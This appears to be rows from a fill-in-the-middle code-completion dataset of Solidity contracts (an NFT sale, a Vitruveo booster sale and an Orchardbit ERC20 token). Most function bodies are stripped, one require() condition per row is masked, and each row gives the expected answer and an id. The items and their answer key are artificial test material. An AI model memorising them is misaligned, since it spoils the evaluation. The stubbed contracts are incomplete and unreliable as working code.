function set_free_whitelist_sale_state(bool _new_free_whitelist_sale_state) public onlyOwner {
}
function set_whitelist_sale_state(bool _new_whitelist_sale_state) public onlyOwner {
}
function set_public_sale_state(bool _new_public_sale_state) public onlyOwner {
}
function set_collection_revealed(bool _new_collection_revealed_state) public onlyOwner {
}
function set_max_supply(uint256 _new_max_supply) public onlyOwner {
}
function set_cost(uint256 _new_cost) public onlyOwner {
}
function set_max_per_wallet(uint256 _new_max_per_wallet) public onlyOwner {
}
function set_free_max_per_wallet(uint256 _new_free_max_per_wallet) public onlyOwner {
}
function set_free_whitelist_merkle_root(bytes32 _new_free_whitelist_merkle_root) public onlyOwner {
}
function set_whitelist_merkle_root(bytes32 _new_whitelist_merkle_root) public onlyOwner {
}
/* withdraw */
function withdraw() public payable onlyOwner {
}
}
| MerkleProof.verify(_merkle_proof,free_whitelist_merkle_root,leaf_node),"invalid_free_whitelist_merkle_proof" | 129,320 | MerkleProof.verify(_merkle_proof,free_whitelist_merkle_root,leaf_node) |
"Address not part of allowed token list" | pragma solidity 0.8.20;
/*
* @author 0xtp
* @title Vitruveo Booster Sale
*
* ██╗ ██╗ ██╗ ████████╗ ██████╗ ██╗ ██╗ ██╗ ██╗ ███████╗ ██████╗
* ██║ ██║ ██║ ╚══██╔══╝ ██╔══██╗ ██║ ██║ ██║ ██║ ██╔════╝ ██╔═══██╗
* ██║ ██║ ██║ ██║ ██████╔╝ ██║ ██║ ██║ ██║ █████╗ ██║ ██║
* ╚██╗ ██╔╝ ██║ ██║ ██╔══██╗ ██║ ██║ ╚██╗ ██╔╝ ██╔══╝ ██║ ██║
* ╚████╔╝ ██║ ██║ ██║ ██║ ╚██████╔╝ ╚████╔╝ ███████╗ ╚██████╔╝
* ╚═══╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝
*
*/
contract VitruveoBoosterSale is AccessControl, ReentrancyGuard {
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
Counters.Counter public nextSaleId;
/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ S T A T E @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/
bool public isSaleActive;
address public vtruWallet;
uint256 public totalSaleCounter;
struct boosters {
uint256 id;
string tokenSymbol;
uint256 tokenAmount;
uint256 boosterType;
address accountAddress;
bool isReferral;
address refAddress;
uint256 timestamp;
string status;
}
mapping(uint256 => boosters)public Boosters;
mapping(uint256 => uint256) public BoosterPrice;
mapping(uint256 => string) public BoosterStatus;
mapping(string => address) public AllowedTokens;
mapping(string => uint256) public TokenDecimals;
mapping(string => uint256) public TotalTokenSaleCounter;
mapping(address => mapping(address => uint256)) public ERC20Deposit;
mapping(address => mapping(string => uint256[])) private AccountDeposits;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ E V E N T S @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/
event ERC20Deposited(
uint256 indexed boosterId,
string indexed tokenSymbol,
address indexed accountAddress,
uint256 tokenAmount
);
constructor() {
}
function _init() internal {
}
function buyBooster(string memory symbol, uint256 boosterType, uint256 qty, uint256 amount, address refAddress)
external
nonReentrant
returns (boosters memory)
{
require(isSaleActive == true, "Sale not active");
require(qty > 0 && qty < 101, "Qty must be greater than 0 & less than 100");
require(amount == qty * BoosterPrice[boosterType], "Amount should match price * qty");
require(<FILL_ME>)
bool isRef = false;
if(refAddress != address(0))
{
isRef = true;
}
nextSaleId.increment();
address tokenAddress = AllowedTokens[symbol];
ERC20Deposit[msg.sender][tokenAddress] += amount;
AccountDeposits[msg.sender][symbol].push(nextSaleId.current());
totalSaleCounter = totalSaleCounter + amount;
TotalTokenSaleCounter[symbol] = TotalTokenSaleCounter[symbol] + amount;
boosters memory newBooster = _createNewBooster(
symbol,
amount,
boosterType,
msg.sender,
refAddress,
isRef,
block.timestamp,
BoosterStatus[2]
);
uint256 tokenDecimals = 10 ** TokenDecimals[symbol];
uint256 tokenAmount = amount * tokenDecimals;
IERC20(tokenAddress).safeTransferFrom(msg.sender, vtruWallet, tokenAmount);
emit ERC20Deposited(newBooster.id, symbol, msg.sender, amount);
return newBooster;
}
function _createNewBooster(
string memory _symbol,
uint256 _amount,
uint256 _boosterType,
address _account,
address _refAccount,
bool _isReferral,
uint256 _timestamp,
string memory _status
) internal returns (boosters memory) {
}
function setAllowedTokens(string memory _symbol, address _tokenAddress)
public
onlyRole(ADMIN_ROLE)
{
}
function setTokenDecimals(string memory _symbol, uint256 _decimals)
public
onlyRole(ADMIN_ROLE)
{
}
function setSaleStatus(bool _isActive) external onlyRole(ADMIN_ROLE) {
}
function setVTRUWallet(address _vtruWallet) external onlyRole(ADMIN_ROLE) {
}
function setBoosterPrice(uint256 _boosterType, uint256 _boosterPrice) external onlyRole(ADMIN_ROLE) {
}
function withdraw() external onlyRole(ADMIN_ROLE) {
}
function recoverERC20(IERC20 tokenContract, address to) external onlyRole(ADMIN_ROLE) {
}
function getCurrentBoosterID() external view returns (uint256) {
}
function getAccountDeposits(address _account, string memory _symbol)
public
view
returns (uint256[] memory)
{
}
}
| AllowedTokens[symbol]!=address(0),"Address not part of allowed token list" | 129,330 | AllowedTokens[symbol]!=address(0) |
null | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
abstract contract ERC20Basic {
function totalSupply() public view virtual returns (uint);
function balanceOf(address who) public view virtual returns (uint);
function transfer(address to, uint value) public virtual returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
abstract contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view virtual returns (uint);
function transferFrom(address from, address to, uint value) public virtual returns (bool);
function approve(address spender, uint value) public virtual returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Ownable
* @dev Owner validator
*/
contract Ownable {
address private _owner;
address[] private _operator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event OperatorAdded(address indexed newOperator);
event OperatorRemoved(address indexed previousOperator);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @return the address of the operator matched index
*/
function operator(uint index) public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Throws if called by any account other than the owner or operator.
*/
modifier onlyOwnerOrOperator() {
require(<FILL_ME>)
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @return true if `msg.sender` is the operator of the contract.
*/
function isOperator() public view returns (bool) {
}
/**
* @return true if address `granted` is the operator of the contract.
*/
function _isOperator(address granted) internal view returns (bool) {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Add newOperator.
* @param newOperator The address to operate additonally.
*/
function addOperator(address newOperator) public onlyOwner {
}
/**
* @dev Remove Operator.
* @param noMoreOperator The address not to operate anymore.
*/
function removeOperator(address noMoreOperator) public onlyOwner {
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
}
/**
* @return True if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyOwnerOrOperator whenNotPaused {
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyOwnerOrOperator whenPaused {
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
}
}
/**
* @title StandardToken
* @dev Base Of token
*/
contract StandardToken is ERC20, Pausable {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowed;
uint private _totalSupply;
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view override returns (uint) {
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint) {
}
/**
* @dev Transfer token to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint value) public whenNotPaused override virtual returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint value) public whenNotPaused override virtual returns (bool) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Transfer token for a specified addresses.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint value) internal {
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function _transferFrom(address from, address to, uint value) internal {
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint value) internal {
}
/**
* @dev Internal function that burns an amount of the token of the owner
* account.
* @param value The amount that will be burnt.
*/
function _burn(uint value) internal {
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint value) internal {
}
}
/**
* @title MintableToken
* @dev Minting of total balance
*/
contract MintableToken is StandardToken {
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint
* @return A boolean that indicated if the operation was successful.
*/
function mint(address to, uint amount) public whenNotPaused onlyOwner canMint returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public whenNotPaused onlyOwner canMint returns (bool) {
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is MintableToken {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint value) public whenNotPaused onlyOwner returns (bool) {
}
}
/**
* @title LockableToken
* @dev locking of granted balance
*/
contract LockableToken is BurnableToken {
using SafeMath for uint;
/**
* @dev Lock defines a lock of token
*/
struct Lock {
uint amount;
uint expiresAt;
}
mapping (address => Lock[]) public grantedLocks;
/**
* @dev Transfer tokens to another
* @param to address the address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transfer(address to, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address the address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Function to add lock
* @param granted The address that will be locked.
* @param amount The amount of tokens to be locked
* @param expiresAt The expired date as unix timestamp
*/
function addLock(address granted, uint amount, uint expiresAt) public onlyOwnerOrOperator {
}
/**
* @dev Function to delete lock
* @param granted The address that was locked
* @param index The index of lock
*/
function deleteLock(address granted, uint8 index) public onlyOwnerOrOperator {
}
/**
* @dev Verify transfer is possible
* @param from - granted
* @param value - amount of transfer
*/
function _verifyTransferLock(address from, uint value) internal view {
}
/**
* @dev get locked amount of address
* @param granted The address want to know the lock state.
* @return locked amount
*/
function getLockedAmount(address granted) public view returns(uint) {
}
}
/**
* @title Orchardbit Token
* @dev ERC20 Token
*/
contract OrchardbitToken is LockableToken {
string public constant name = "Orchardbit Token";
string public constant symbol = "OBT";
uint32 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 1000000000e18;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() {
}
function transferWithLocks(address granted, uint amount, uint[] memory lockAmounts, uint[] memory lockTimes) public onlyOwnerOrOperator {
}
}
| isOwner()||isOperator() | 129,392 | isOwner()||isOperator() |
null | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
abstract contract ERC20Basic {
function totalSupply() public view virtual returns (uint);
function balanceOf(address who) public view virtual returns (uint);
function transfer(address to, uint value) public virtual returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
abstract contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view virtual returns (uint);
function transferFrom(address from, address to, uint value) public virtual returns (bool);
function approve(address spender, uint value) public virtual returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Ownable
* @dev Owner validator
*/
contract Ownable {
address private _owner;
address[] private _operator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event OperatorAdded(address indexed newOperator);
event OperatorRemoved(address indexed previousOperator);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @return the address of the operator matched index
*/
function operator(uint index) public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Throws if called by any account other than the owner or operator.
*/
modifier onlyOwnerOrOperator() {
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @return true if `msg.sender` is the operator of the contract.
*/
function isOperator() public view returns (bool) {
}
/**
* @return true if address `granted` is the operator of the contract.
*/
function _isOperator(address granted) internal view returns (bool) {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Add newOperator.
* @param newOperator The address to operate additonally.
*/
function addOperator(address newOperator) public onlyOwner {
require(newOperator != address(0));
require(<FILL_ME>)
_operator.push(newOperator);
emit OperatorAdded(newOperator);
}
/**
* @dev Remove Operator.
* @param noMoreOperator The address not to operate anymore.
*/
function removeOperator(address noMoreOperator) public onlyOwner {
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
}
/**
* @return True if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyOwnerOrOperator whenNotPaused {
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyOwnerOrOperator whenPaused {
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
}
}
/**
* @title StandardToken
* @dev Base Of token
*/
contract StandardToken is ERC20, Pausable {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowed;
uint private _totalSupply;
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view override returns (uint) {
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint) {
}
/**
* @dev Transfer token to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint value) public whenNotPaused override virtual returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint value) public whenNotPaused override virtual returns (bool) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
}
/**
* @dev Transfer token for a specified addresses.
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint value) internal {
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function _transferFrom(address from, address to, uint value) internal {
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint value) internal {
}
/**
* @dev Internal function that burns an amount of the token of the owner
* account.
* @param value The amount that will be burnt.
*/
function _burn(uint value) internal {
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint value) internal {
}
}
/**
* @title MintableToken
* @dev Minting of total balance
*/
contract MintableToken is StandardToken {
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint
* @return A boolean that indicated if the operation was successful.
*/
function mint(address to, uint amount) public whenNotPaused onlyOwner canMint returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public whenNotPaused onlyOwner canMint returns (bool) {
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is MintableToken {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint value) public whenNotPaused onlyOwner returns (bool) {
}
}
/**
* @title LockableToken
* @dev locking of granted balance
*/
contract LockableToken is BurnableToken {
using SafeMath for uint;
/**
* @dev Lock defines a lock of token
*/
struct Lock {
uint amount;
uint expiresAt;
}
mapping (address => Lock[]) public grantedLocks;
/**
* @dev Transfer tokens to another
* @param to address the address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transfer(address to, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address the address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Function to add lock
* @param granted The address that will be locked.
* @param amount The amount of tokens to be locked
* @param expiresAt The expired date as unix timestamp
*/
function addLock(address granted, uint amount, uint expiresAt) public onlyOwnerOrOperator {
}
/**
* @dev Function to delete lock
* @param granted The address that was locked
* @param index The index of lock
*/
function deleteLock(address granted, uint8 index) public onlyOwnerOrOperator {
}
/**
* @dev Verify transfer is possible
* @param from - granted
* @param value - amount of transfer
*/
function _verifyTransferLock(address from, uint value) internal view {
}
/**
* @dev get locked amount of address
* @param granted The address want to know the lock state.
* @return locked amount
*/
function getLockedAmount(address granted) public view returns(uint) {
}
}
/**
* @title Orchardbit Token
* @dev ERC20 Token
*/
contract OrchardbitToken is LockableToken {
string public constant name = "Orchardbit Token";
string public constant symbol = "OBT";
uint32 public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 1000000000e18;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() {
}
function transferWithLocks(address granted, uint amount, uint[] memory lockAmounts, uint[] memory lockTimes) public onlyOwnerOrOperator {
}
}
| !_isOperator(newOperator) | 129,392 | !_isOperator(newOperator) |
null | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
abstract contract ERC20Basic {
function totalSupply() public view virtual returns (uint);
function balanceOf(address who) public view virtual returns (uint);
function transfer(address to, uint value) public virtual returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
abstract contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view virtual returns (uint);
function transferFrom(address from, address to, uint value) public virtual returns (bool);
function approve(address spender, uint value) public virtual returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Ownable
* @dev Owner validator
*/
contract Ownable {
address private _owner;
address[] private _operator;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event OperatorAdded(address indexed newOperator);
event OperatorRemoved(address indexed previousOperator);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
}
/**
* @return the address of the operator matched index
*/
function operator(uint index) public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Throws if called by any account other than the owner or operator.
*/
modifier onlyOwnerOrOperator() {
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
}
/**
* @return true if `msg.sender` is the operator of the contract.
*/
function isOperator() public view returns (bool) {
}
/**
* @return true if address `granted` is the operator of the contract.
*/
function _isOperator(address granted) internal view returns (bool) {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
/**
* @dev Add newOperator.
* @param newOperator The address to operate additonally.
*/
function addOperator(address newOperator) public onlyOwner {
}
/**
* @dev Remove Operator.
* @param noMoreOperator The address not to operate anymore.
*/
function removeOperator(address noMoreOperator) public onlyOwner {
require(noMoreOperator != address(0));
require(<FILL_ME>)
uint len = _operator.length;
uint index = len;
for(uint i = 0; i < len; i++) {
if (_operator[i] == noMoreOperator) {
index = i;
}
}
if(index != len){
if (len == 1) {
delete _operator[len - 1];
} else {
_operator[index] = _operator[len - 1];
_operator.pop();
}
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () {
}
/**
* @return True if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyOwnerOrOperator whenNotPaused {
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyOwnerOrOperator whenPaused {
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error.
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
}
}
/**
* @title StandardToken
* @dev Base Of token
*/
contract StandardToken is ERC20, Pausable {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowed;
uint private _totalSupply;
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view override returns (uint) {
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint) {
}
/**
* @dev Transfer token to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint value) public whenNotPaused override virtual returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint value) public whenNotPaused override returns (bool) {
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint value) public whenNotPaused override virtual returns (bool) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
